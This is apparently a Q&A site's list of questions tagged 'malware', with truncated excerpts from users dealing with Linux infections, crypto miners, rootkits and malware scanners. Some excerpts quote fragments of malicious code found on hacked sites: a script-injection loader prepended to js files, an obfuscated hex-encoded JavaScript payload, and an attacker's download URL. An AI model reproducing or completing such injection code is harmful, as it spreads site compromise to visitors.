Questions tagged [malware]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0
votes
1answer
37 views

What is the worst thing a usermode (ring3) virus could do to home linux installation?

I am interested to know whether is it a reasonable decision to try and restrict my own user account as much as possible to the point where I would need to use my own password much more frequently (now ...
1
vote
1answer
79 views

How to scan for malware on Linux

So a few days ago, I've noticed the new pattern with PC fan speeds on my Fedora workstation. Every now and then some of the fans will start spinning slightly faster than usual and will continue to do ...
-1
votes
2answers
159 views

How to secure/harden apache2 on Debian? [closed]

I recently found miner in my Debian 10 server by figuring out what was hogging whole resources (CPU and memory) with htop command. Apparently all malicious processes were running under www-data user. ...
1
vote
1answer
89 views

maldet command not found when installing LMD on Linux Ubuntu

I am trying to install LMD linux malware Detect version 1.6.4 on Ubuntu. It shows that the installation was completed successfully; I could even open the conf.maldet for configuration options via ...
2
votes
2answers
41 views

Can malware from Windows access Ubuntu files?

I have installed Ubuntu 20.04 along with Windows 10 on my laptop. I use Windows for games and Ubuntu for work. I wonder if I download some virus on Windows, will it be able to access data from Ubuntu ...
1
vote
2answers
145 views

What is the equivalent of autoruns tool in linux for finding suspicious startup executables?

In Windows, Autoruns tool is a really helpful tool for forensic investigators to help them find suspicious startup executables and filter the benign ones. but i couldn't anything good like this in ...
-5
votes
2answers
84 views

Hunting for a malware

I'm hunting a malware under my linux .mozilla folder. My first step is try to log all opened files during running of firefox. What do you advice me to use for this purpose ? Strace ? Are there other ...
0
votes
0answers
65 views

Are there any Linux malware detectors that find cryptocurrency malware?

I have read quite a few answers on this site related to the topic of malware. Most all seem to be very old -- and these generally say there is very little chance of encountering any malware. But ...
0
votes
2answers
69 views

How to delete all the “*.exe” files which is 132kb

My external hard disk got a windows virus which makes lots of filename.exe copies of 132.6 kb. When I write find . -type f -name "*.exe" it founds thousands of .exe files and only 100 or 200 ...
2
votes
0answers
138 views

Failed to mount “Volume” The given volume was not found

I have been experiencing the following problem since a long time now: So, When I start my computer and I get my Xubuntu op system Desktop, I always get an usb icon to be shown up on my Desktop. When ...
3
votes
1answer
85 views

How do I verify a Linux distro against its public source code?

This question is not about how to trace build artifacts and signatures back to its "trusted source"—the OS maintainers. I'm asking this question with the deepin Linux distro in mind, which ...
2
votes
1answer
18 views

Can I require binary X to be booted only by a bootloader signed with key Y?

If I include Microsoft's keys in my secure boot setup, then any malware which has a Microsoft key can boot my Linux binary. Can I restrict my Linux binary to be booted only by a bootloader signed with ...
3
votes
1answer
204 views

crontab -e, permission denied after malware infection

Caused by: My machine was infected with the redis mining worm Here are some files under /root/.ssh (it's hidden, using ls -la I can see it), I remove them and some other related files, hope it won't ...
0
votes
1answer
55 views

Can I find who did an HTTP request?

I am mentioned that my server did an HTTP download some days ago, and it may be a virus. I have the request's source IP/port, the destination IP/port, the protocol, time, length, and method. Maybe my ...
0
votes
1answer
62 views

Replace (remove) multiple lines from files

A server of mine was hacked, and they added at the beginning of every js file the following: var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s....
1
vote
1answer
401 views

CentOS 7 Malware? - User “impress+” executes a command (“cron”) with a high CPU consumption

One of my "CentOS 7" servers is showing very strange behavior. A user named "impress+" executes a command called "cron". This "cron" command is executed with a high CPU consumption. I worry because I ...
0
votes
2answers
774 views

ClamAV - What does the “clamd@scan” service do by default?

I have been researching ClamAV to understand what the "clamd@scan" service does by default in case of finding threats. So far I have not been able to get a satisfactory and clear answer (forums, ...
1
vote
0answers
57 views

malware identification found on ubuntu server

I discovered a script running on my server. Reading through apache log files, attacker used cms login vulnerability and downloaded script from this site http://217.61.107.9/wes. Can anybody identify ...
60
votes
2answers
10k views

Suspicious crontab entry running 'xribfa4' every 15 minutes

I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing. Crontab entry: */15 * * * ...
0
votes
1answer
70 views

Will running MalDet (malware detection) and ClamAV (anti-virus) at the same time cause any issues with the operation of each other?

I am running MalDet (malware detection) and ClamAV (anti-virus) on my RedHat 7.x server and wish to run these processes simultaneously. Other than using CPU resources, can running these two processes ...
1
vote
0answers
108 views

What process is accessing this laptops webcam? Is it a rootkit?

Old laptop, running minecraft for the kids. Noticed the webcam light blinking for half a second randomly. Assumed it was a minecraft mod, nuked everything off and did a fresh Ubuntu install. Sure ...
1
vote
0answers
234 views

How can/should I kill masscan process

I host a small Ubuntu server with DigitalOcean and recently realized a guest user was compromised. I have been trying to cleanup up my server to stop future attacks and have come across a process ...
-1
votes
1answer
80 views

Is my new micro-sd card immune from infection on my device? [closed]

My orangepiplus2e computer has no bios, no firmware, and no hdd (other than 16GB micro-sd). It has high quality router, ethernet switch, & firewall. Let's say that I have files (docs,pdf,.iso) ...
0
votes
2answers
71 views

Possible trojan on my laptop

Yesterday after connecting to my company's server I noticed an information that there were 107 failed login attempts. After checking the logs it turned out that all of them were coming from my IP ...
2
votes
1answer
191 views

google chrome “managed by your organization” on linux

today I opened google chrome and saw this on customize and Control menu : "managed by your organization" , is that a malware sign ? if yes how can I completely remove that malware? my os is ...
0
votes
0answers
41 views

what are Squamariaceae and Marcgravia processes which consume lot of cpu on macOS Mojave

I rencently found that two processes called Squamariaceae and Marcgravia where launched every now and then on my laptop and I wonder about their purposes. Indeed, I had never seen them before and ...
0
votes
1answer
235 views

Scan unmounted external USB drive for malware without Infecting the system

I have an external USB backup drive that I suspect being infected with a rootkit and fear it might spread to the host Linux system when just connected. Some experts say that some malware has infected ...
1
vote
1answer
183 views

How can I prevent against the HiddenWasp trojan? [closed]

As people probably know by now, some hackers released a trojan "HiddenWasp" into the Linux world. Article from Intezer: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/ So ...
0
votes
1answer
586 views

why would ldconfig create a symlink to libselinux.so.1 from libext2fs.so.2?

using strace I have found a behaviour of ldconfig (glibc), I can make no sense of lstat("/usr/lib/libext2fs.so.2", {st_mode=S_IFLNK|0777, st_size=16, ...}) = 0 unlink("/usr/lib/libext2fs.so.2") ...
0
votes
4answers
223 views

Linux command to find and remove text from several files at once

I have my site infected by a virus. This virus added this line in several files in my site. My idea is to remove this line of text with a unique command from the terminal. Let's say I have the folder ...
-1
votes
1answer
851 views

my server will damage if i delete this infected files?

some spam scripts in my server (it send thousands of mails/hr) i did scan to my server CentOS7 + Virtualmin using clamav , and this is the reuslts : /home/joudakpk/homes/info/Maildir/cur/1555410522....
0
votes
1answer
153 views

Cleaning infected site files from malicious code

I got 750 files that have injected by malicious code, and here is the code : var _0x6eea=["\x56\x79\x7A\x43\x6B\x63\x4B\x65\x77\x37\x67\x39\x64\x43\x6C\x36\x77\x70\x6E\x43\x6F\x63\x4F\x57\x51\x38\...
-1
votes
1answer
190 views

Mint 19 tcpd INFECTED sha1sum

When I use rkhunter it always shows two warnings and possible 4 rootkit information: Checking for suspicious (large) shared memory segments [ Warning ] Checking for hidden files and directories ...
0
votes
1answer
150 views

Still safe to use distro after applying c program to it?

I installed elementary OS Juno on an old iMac 5,1. The Computer uses a 32bit EFI, which is not able to boot elementary OS Juno so I decided to follow Matt Gadients guide for a little workaround. You ...
0
votes
1answer
157 views

Source for outgoing connection in nethogs

I see several outgoing connections in nethogs (please see screenshot below), where my server is connected e.g. via its port 445 (samba?) to someone else. However, ss does not show any process running/...
1
vote
1answer
4k views

A strange process called “watchbog” is hogging my entire CPU and I can't get rid of it [closed]

This process that has come out of nowhere is hogging my CPU and I have no clue what it is or how to get rid of it. You can see in the image below what it's doing: What is this process? How can I get ...
-1
votes
3answers
1k views

Threats found in /dev/fd

While trying to make sure I have no threats on my iMac I used Bitdefender to perform a full scan and I found this Output of running ls -la in /dev/fd: ls -la total 11 dr-xr-xr-x 1 root ...
2
votes
0answers
972 views

Is Linux able to perform any kind of Measured Boot?

Some Linux-distro's support Secure Boot. (These distro's use a 1st-stage bootloader signed by Microsoft.) Is Linux (without any additional modules) able or is there any Linux-distro out there that is ...
1
vote
1answer
52 views

How is source code reviewed/audited, prior to inclusion in linux mainline?

An answer to this question would provide insight and references about how the linux kernel source code is reviewed prior to be released? Particular interesting aspect of this question to me are: Who ...
4
votes
1answer
2k views

How to check an AUR package for malicious code?

Malicious code has been found and deleted later from 3 AUR packages acroread, blaz and minergate (e,g: acroread PKGBUILD detail). It was found in a commit released by a malicious user by changing the ...
0
votes
0answers
676 views

stop spammer attack over postfix/dovecot

I've got a server with postfix/dovecot which is somehow being attacked. I constantly see huge amount of logs like this (replaced my domain by example.com): Jul 2 10:03:03 my-server postfix/pickup[...
3
votes
1answer
217 views

process keeps on starting

On a VPS that I use, somehow I got a little annoying miner. (I'm not root) 15109 ? Z 0:00 [sh] <defunct> 15134 ? Ssl 0:03 [] 15160 ? S 0:00 ./5DiaEd75 ./...
3
votes
2answers
3k views

bash: /var/log/rkhunter.log: Permission denied (as root - Linux Mint 18.3)

I think my Linux laptop has been hacked, for three reasons: Whenever I saved files into the Home folder, the files wouldn't appear - not even in the other folders on my computer. An unfamiliar .txt ...
2
votes
2answers
108 views

Switching from Win10 to Linux: AV, defrag, disk cleanup tools, etc [closed]

I installed Linux Mint on my desktop in place of Windows 10. I am used to having virus/malware Scanners, defragmenters, Disk Clean up tools etc. I was wondering if people here would be able to ...
3
votes
1answer
2k views

Mixed case DNS requests - Malware in my network?

I am seeing some strange DNS queries. They have seemingly random mixed case coming from machines in my network. Is it possible I have malware? $ sudo tcpdump -n port 53 16:42:57.805038 192.168.5.134....
2
votes
2answers
850 views

How can I tell if Comcast is blocking access to an IP? [closed]

I have a site hosted on CentOS 7, part of an A2 Hosting environment. Although I can access my site (http://68.66.205.103/) on my phone and an AT&T ISP, I can't access it from a Comcast ISP or my ...
7
votes
2answers
2k views

rmdir failed to remove empty directory

I have a problem with removing empty dir, strace shows error: rmdir("empty_dir") = -1 ENOTEMPTY (Directory not empty) And ls -la empty_dir shows nothing. So i connected to the fs (ext4) with debugfs ...
0
votes
1answer
43 views

cd fails when trying to enter maldetect version-agnostic directory

I'm installing Maldet on Debian 9.3: cd /usr/local/src wget http://www.rfxn.com/downloads/maldetect-current.tar.gz tar -xzvf maldetect-current.tar.gz cd maldetect-* bash ./install.sh While doing cd ...
11
votes
1answer
2k views

Which process places a red circle to the bottom right corner of my display on Linux Mint 18.1?

Some days ago that widget appeared on screen and I have no idea how to remove it and how did it came to my system. Not taken by screenshots. I suggest it is malware. Any ideas?
27
votes
2answers
6k views

How can I kill minerd malware on an AWS EC2 instance? (compromised server)

I found malware on my ec2 instance which was continuously mining bitcoin and using my instance processing power. I successfully identified the process, but was unable to remove and kill it. I ran ...